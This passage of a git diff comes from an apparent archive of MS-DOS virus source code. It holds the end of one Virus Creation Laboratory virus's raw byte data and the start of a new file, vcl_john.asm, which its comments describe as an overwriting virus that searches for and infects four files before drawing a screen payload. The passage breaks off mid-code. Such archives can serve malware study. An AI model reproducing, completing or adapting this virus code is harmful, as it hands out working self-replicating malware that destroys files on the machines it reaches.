030h, 030h, 030h + db 030h, 030h, 030h, 030h, 020h, 063h, 068h, 065h + db 063h, 06Bh, 020h, 066h, 06Fh, 072h, 020h, 076h + db 069h, 072h, 075h, 073h, 020h, 069h, 06Eh, 066h + db 065h, 063h, 074h, 069h, 06Fh, 06Eh, 00Dh, 00Ah + db 024h, 0B4h, 019h, 0CDh, 021h, 02Eh, 0A2h, 087h + db 005h, 0B4h, 030h, 0CDh, 021h, 03Ch, 002h, 090h + db 090h, 077h, 017h, 08Dh, 016h, 088h, 005h, 0B4h + db 009h, 0CDh, 021h, 0B4h, 04Ch, 0CDh, 021h, 08Dh + db 016h, 0BBh, 005h, 0B4h, 009h, 0CDh, 021h, 0EBh + db 063h, 090h, 02Eh, 0A1h, 02Ch, 000h, 08Eh, 0C0h + db 033h, 0FFh, 0B9h, 0FFh, 07Fh, 032h, 0C0h, 0F2h + db 0AEh, 026h, 080h, 03Dh, 000h, 0E0h, 0F8h, 083h + db 0C7h, 003h, 026h, 080h, 07Dh, 001h, 03Ah, 090h + db 090h, 026h, 08Ah, 015h, 080h, 0E2h, 0DFh, 080h + db 0EAh, 041h, 0B4h, 00Eh, 0CDh, 021h, 083h, 0C7h + db 002h, 0B4h, 01Ah, 0BAh, 05Ch, 005h, 0CDh, 021h + db 01Eh, 006h, 01Fh, 08Bh, 0D7h, 0B9h, 007h, 000h + db 0B4h, 04Eh, 0CDh, 021h, 01Fh, 0B4h, 00Eh, 02Eh + db 08Ah, 016h, 087h, 005h, 0CDh, 021h, 0B8h, 093h + db 010h, 02Eh, 03Bh, 006h, 076h, 005h, 090h, 090h + db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h + db 090h, 090h, 090h, 090h, 0B8h, 003h, 000h, 0CDh + db 010h, 0BAh, 003h, 001h, 090h, 090h, 090h, 090h + db 090h, 090h, 090h, 090h, 0E9h, 000h, 00Ah, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 0AAh, 0A0h + db 000h, 000h, 000h, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 020h, 000h, 000h, 000h + db 000h, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 002h, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0A8h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 000h, 000h, 002h + db 0AAh, 0A8h, 000h, 000h, 002h, 0AAh, 0A0h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 0AAh, 0AAh + db 0A8h, 000h, 000h, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 02Ah, 080h, 000h, 000h + db 000h, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 002h, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 080h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 000h, 000h, 02Ah + db 0AAh, 080h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 0AAh, 0AAh + db 0AAh, 0A0h, 000h, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 02Ah, 0A8h, 000h, 000h + db 000h, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 002h, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 000h, 000h, 0AAh + db 0A8h, 000h, 000h, 02Ah, 0AAh, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 02Ah + db 0AAh, 0AAh, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 02Ah, 0AAh, 0A0h, 000h + db 000h, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 000h, 002h, 0AAh + db 0A0h, 000h, 002h, 0AAh, 0AAh, 080h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 02Ah, 0AAh, 0A0h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 02Ah, 0AAh, 0AAh, 080h + db 000h, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 000h, 000h, 02Ah + db 080h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 002h, 0AAh, 0A8h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 0AAh, 0AAh, 0AAh + db 000h, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 00Ah, 0AAh, 0A8h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 002h, 080h, 008h + db 000h, 000h, 02Ah, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0A0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 000h, 0AAh, 0AAh, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 00Ah, 0AAh, 0AAh + db 0A8h, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 0AAh, 0AAh, 080h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 00Ah, 0A0h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 000h, 02Ah, 0AAh, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 028h, 000h, 02Ah, 0AAh + db 0AAh, 0A0h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 000h, 002h, 0AAh, 0AAh, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 02Ah, 0A8h, 000h + db 000h, 000h, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0AAh, 080h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 000h, 02Ah, 0AAh, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 02Ah, 0A0h, 000h, 0AAh + db 0AAh, 0AAh, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 000h, 02Ah, 0AAh, 0A0h, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 02Ah, 0AAh, 080h + db 000h, 000h, 0AAh, 0AAh, 0A8h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 000h, 0AAh, 0AAh, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 02Ah, 0AAh, 000h, 002h + db 0AAh, 0AAh, 0AAh, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0AAh, 080h, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 00Ah, 0AAh, 0A0h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 002h, 0AAh, 0A8h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 02Ah, 0AAh, 000h, 000h + db 00Ah, 0AAh, 0AAh, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 00Ah, 0AAh, 0A8h, 000h, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 002h, 0AAh, 0A8h + db 000h, 000h, 02Ah, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0A0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 02Ah, 0AAh, 0A0h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 02Ah, 0AAh, 000h, 000h + db 000h, 02Ah, 0AAh, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 0AAh, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 000h, 02Ah, 0AAh + db 080h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 02Ah + db 0AAh, 0AAh, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 02Ah, 0AAh, 000h, 000h + db 000h, 000h, 0AAh, 0AAh, 080h, 000h, 000h, 000h + db 000h, 002h, 0AAh, 0AAh, 000h, 000h, 000h, 000h + db 000h, 000h, 00Ah, 0AAh, 0A0h, 000h, 002h, 0AAh + db 0A8h, 000h, 002h, 0AAh, 0A0h, 000h, 00Ah, 0AAh + db 0A0h, 000h, 000h, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 080h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 0AAh, 0AAh + db 0AAh, 0A0h, 000h, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 02Ah, 0AAh, 000h, 000h + db 000h, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 000h, 02Ah, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0A0h, 000h, 002h, 0AAh, 0AAh, 000h, 02Ah, 0AAh + db 0A0h, 000h, 002h, 0AAh, 0A0h, 000h, 002h, 0AAh + db 0A8h, 000h, 000h, 00Ah, 0AAh, 0A0h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 0AAh, 0AAh + db 0A8h, 000h, 000h, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 02Ah, 0AAh, 000h, 000h + db 000h, 000h, 000h, 02Ah, 080h, 000h, 000h, 000h + db 000h, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0A0h, 000h, 000h, 02Ah, 0AAh, 000h, 02Ah, 0AAh + db 000h, 000h, 002h, 0AAh, 0A0h, 000h, 000h, 02Ah + db 0AAh, 080h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 0AAh, 0A0h + db 000h, 000h, 000h, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 02Ah, 0AAh, 000h, 000h + db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h + db 00Ah, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0A0h, 000h, 000h, 000h, 02Ah, 000h, 02Ah, 000h + db 000h, 000h, 002h, 0AAh, 0A0h, 000h, 000h, 00Ah + db 0AAh, 0A0h, 000h, 000h, 000h, 00Ah, 0A8h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 00Ah, 0AAh, 0A8h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 0AAh, 0AAh + db 080h, 000h, 000h, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 028h, 000h, 000h, 000h + db 000h, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 002h, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0A0h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 000h, 000h, 00Ah + db 0AAh, 0A0h, 000h, 000h, 02Ah, 0AAh, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 0AAh, 0AAh + db 0AAh, 080h, 000h, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 02Ah, 0A0h, 000h, 000h + db 000h, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 002h, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 080h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 000h, 000h, 0AAh + db 0AAh, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 0AAh, 0AAh + db 0AAh, 0A8h, 000h, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 02Ah, 0AAh, 080h, 000h + db 000h, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 002h, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0A8h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 000h, 002h, 0AAh + db 0A8h, 000h, 000h, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 080h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 002h + db 0AAh, 0AAh, 080h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 02Ah, 0AAh, 0AAh, 000h + db 000h, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 000h, 000h, 0AAh + db 080h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 00Ah, 0AAh, 0A0h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 00Ah, 0AAh, 0AAh, 0A0h + db 000h, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 002h, 0AAh, 0AAh, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 000h, 000h, 02Ah + db 000h, 000h, 02Ah, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0AAh, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 000h, 0AAh, 0A8h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 02Ah, 0AAh, 0AAh + db 080h, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 02Ah, 0AAh, 0A0h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 002h, 080h, 000h + db 000h, 000h, 0AAh, 0AAh, 0A8h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 000h, 02Ah, 0AAh, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 020h, 000h, 0AAh, 0AAh + db 0AAh, 000h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 0AAh, 0AAh, 080h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 02Ah, 0A8h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 000h, 02Ah, 0AAh, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 02Ah, 000h, 002h, 0AAh + db 0AAh, 0A8h, 00Ah, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 000h, 00Ah, 0AAh, 0A8h, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 0AAh, 0AAh, 000h + db 000h, 000h, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0A8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 000h, 02Ah, 0AAh, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 02Ah, 0A8h, 000h, 00Ah + db 0AAh, 0AAh, 0AAh, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0AAh, 080h, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 02Ah, 0AAh, 080h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 000h, 0AAh, 0A8h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 02Ah, 0AAh, 000h, 000h + db 0AAh, 0AAh, 0AAh, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 002h, 0AAh, 0AAh, 000h, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 002h, 0AAh, 0A8h + db 000h, 000h, 02Ah, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0AAh, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 000h + db 00Ah, 0AAh, 0A0h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 02Ah, 0AAh, 000h, 000h + db 002h, 0AAh, 0AAh, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 0A0h, 000h, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 000h, 000h, 000h, 02Ah + db 0AAh, 000h, 002h, 0AAh, 0A0h, 000h, 0AAh, 0AAh + db 000h, 000h, 00Ah, 0AAh, 0A8h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 000h, 002h + db 0AAh, 0AAh, 080h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 02Ah, 0AAh, 000h, 000h + db 000h, 00Ah, 0AAh, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 0AAh, 0AAh, 080h, 000h, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 080h, 000h, 000h, 0AAh + db 0AAh, 000h, 002h, 0AAh, 0A0h, 000h, 02Ah, 0AAh + db 080h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 0AAh, 0AAh + db 0AAh, 0A8h, 000h, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 02Ah, 0AAh, 000h, 000h + db 000h, 000h, 02Ah, 0AAh, 080h, 000h, 000h, 000h + db 000h, 00Ah, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0A0h, 000h, 00Ah, 0AAh, 0AAh, 000h, 02Ah, 0AAh + db 0A8h, 000h, 002h, 0AAh, 0A0h, 000h, 002h, 0AAh + db 0A8h, 000h, 000h, 02Ah, 0AAh, 0AAh, 0AAh, 0AAh + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 0AAh, 0AAh + db 0AAh, 080h, 000h, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 02Ah, 0AAh, 000h, 000h + db 000h, 000h, 000h, 0AAh, 080h, 000h, 000h, 000h + db 000h, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0A0h, 000h, 000h, 0AAh, 0AAh, 000h, 02Ah, 0AAh + db 080h, 000h, 002h, 0AAh, 0A0h, 000h, 000h, 0AAh + db 0AAh, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 0AAh, 0A8h, 000h, 0AAh, 0AAh + db 080h, 000h, 000h, 000h, 00Ah, 0AAh, 0AAh, 0AAh + db 0AAh, 0AAh, 0A0h, 000h, 02Ah, 0AAh, 000h, 000h + db 000h, 000h, 000h, 002h, 080h, 000h, 000h, 000h + db 002h, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh + db 0A0h, 000h, 000h, 002h, 0AAh, 000h, 02Ah, 0A0h + db 000h, 000h, 002h, 0AAh, 0A0h, 000h, 000h, 02Ah + db 0AAh, 080h, 000h, 000h, 002h, 0AAh, 0AAh, 0AAh + db 0A0h, 000h, 000h, 000h, 000h, 000h, 000h, 00Eh + db 01Fh, 0B8h, 005h, 000h, 0CDh, 010h, 0B8h, 000h + db 0B8h, 08Eh, 0C0h, 0E8h, 022h, 000h, 0B9h, 010h + db 000h, 0BFh, 090h, 00Bh, 0E8h, 032h, 000h, 0BFh + db 040h, 030h, 0E8h, 055h, 000h, 0E2h, 0F2h, 0B9h + db 0FFh, 0FFh, 0E2h, 0FEh, 0B9h, 0FFh, 0FFh, 0E2h + db 0FEh, 0B8h, 003h, 000h, 0CDh, 010h, 0CDh, 020h + db 08Dh, 036h, 0F7h, 006h, 0BFh, 090h, 00Bh, 0B9h + db 000h, 005h, 0F3h, 0A4h, 08Dh, 036h, 0F7h, 00Bh + db 0BFh, 040h, 02Bh, 0B9h, 000h, 005h, 0F3h, 0A4h + db 0C3h, 051h, 0FCh, 032h, 0D2h, 0BEh, 010h, 000h + db 0B9h, 028h, 000h, 026h, 08Bh, 005h, 086h, 0C4h + db 0D1h, 0C8h, 0D1h, 0C8h, 08Ah, 0F4h, 080h, 0E6h + db 0C0h, 080h, 0E4h, 03Fh, 00Ah, 0E2h, 08Ah, 0D6h + db 086h, 0C4h, 0ABh, 0E2h, 0E6h, 04Eh, 075h, 0E0h + db 059h, 0C3h, 051h, 0FDh, 032h, 0D2h, 0BEh, 010h + db 000h, 0B9h, 028h, 000h, 026h, 08Bh, 005h, 086h + db 0C4h, 0D1h, 0C0h, 0D1h, 0C0h, 08Ah, 0F0h, 080h + db 0E6h, 003h, 024h, 0FCh, 00Ah, 0C2h, 08Ah, 0D6h + db 086h, 0C4h, 0ABh, 0E2h, 0E7h, 04Eh, 075h, 0E1h + db 059h, 0FCh, 0C3h, 08Dh, 086h, 0DEh, 0FEh, 050h + db 0E8h, 01Dh, 01Ah, 083h, 0C4h, 004h, 08Dh, 086h + db 030h, 0FFh, 050h, 0E8h, 00Bh, 001h, 083h, 0C4h + db 002h, 089h, 046h, 082h, 08Dh, 086h, 0DEh, 0FEh + db 050h, 0E8h, 0FDh, 000h, 083h, 0C4h, 002h, 089h + db 046h, 080h +vcl_marker db "[VCL]",0 ; VCL creation marker + +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.vcl_john.asm b/MSDOS/Virus.MSDOS.Unknown.vcl_john.asm new file mode 100644 index 00000000..32e61122 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vcl_john.asm @@ -0,0 +1,286 @@ +; JOHN.ASM -- For John Boy! +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Pentagrame + +virus_type equ 1 ; Overwriting Virus +is_encrypted equ 0 ; We're not encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near +flag: or di,0 + xchg di,ax + + mov cx,0004h ; Do 4 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + mov si,offset data00 ; SI points to data + mov cx,03B3h ; Second argument is 947 + push di ; Save DI + push es ; Save ES + + jcxz uncrunch_done ; Exit if there are no characters + + mov ah,0Fh ; BIOS get screen mode function + int 10h + xor ah,ah ; BIOS set screen mode function + int 10h ; Clear the screen + + xor di,di + mov ax,0B800h ; AX is set to video segment + mov es,ax ; ES holds video segment + + mov dx,di ; Save X coordinate for later + xor ax,ax ; Set current attributes + cld + +loopa: 